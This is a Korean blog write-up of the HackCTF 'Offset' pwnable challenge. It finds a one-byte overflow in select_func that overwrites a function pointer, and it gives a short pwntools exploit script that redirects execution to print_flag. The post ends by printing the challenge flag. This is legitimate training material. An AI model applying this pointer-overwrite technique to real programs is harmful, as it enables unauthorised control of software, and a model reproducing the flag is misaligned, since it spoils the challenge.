Wargame/HackCTF

[Pwnable] Offset

Ro_ll_ing 2020. 9. 19. 03:32

이번에는 offset 문제입니다.

 

 

문제를 풀기 전에 offset에 대해 간략히 정리를 하겠습니다

 

offset이란?

 

'어느 주소와 다른 주소와의 거리를 나타내는 값' 라고 되있습니다.

 

문제를 풀면서 offset에 대해 익혀보겠습니다

 

Mitigation을 체크를 해봤는데

오랜만에 보는 초록색 친구들이 있네요

 

굳이 안나와도 되는데....👀

 

무슨 Function을 부르고 싶은지를 묻고

입력을 받은 후 종료되는 Binary입니다.

 

IDA로 열어보겠습니다

 

Which function would you like yo call? 이라는 문자열을 출력하고

gets로 S라는 변수에 입력을 받습니다

 

select_func라는 함수가 있습니다.

 

select_func()

 

strncpy로 문자열을 복사하는데 dest라는 변수는 0x2A만큼의

Buffer을 가지고 있지만

 

0x1F만큼 복사를 해주어서 1byte가 overflow가 되어서 v3로 침범할 것입니다.

 

그렇다면 v3에 two라는 함수가 들어가있는데

 

flag를 띄워줄 수 있는 함수의 offset을 찾아

v3에 넣어 그 함수가 호출될 수 있도록 하면 될거 같습니다.

 

flag를 띄워주는 함수가 print_flag라는 함수로

있습니다.

 

print_flag (offset) = 0x000006d8

 

그럼 페이로드를 구상해봅시다.

 

일단 v3로 침범하기 위해 dest의 buffer을 dummy 값으로 채워줍니다.

 

그 후 print_flag의 offset addr을 올려준다면

 

성공적으로 shell이 따일 듯 합니다

 

페이로드를 작성해보겠습니다🙆‍♂️

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3007)

#p = process("./offset")

print_flag = 0x000006d8

p.recvuntil("Which function would you like to call?\n")

payload = ""

payload += "\x90" * 30

payload += p32(print_flag)

p.sendline(payload)

p.interactive()

 

이렇게 작성한다면

 

성공적으로 print_flag를 호출하면서 

flag를 볼 수 있습니다.

 

FLAG = HackCTF{76155655017129668567067265451379677609132507783606}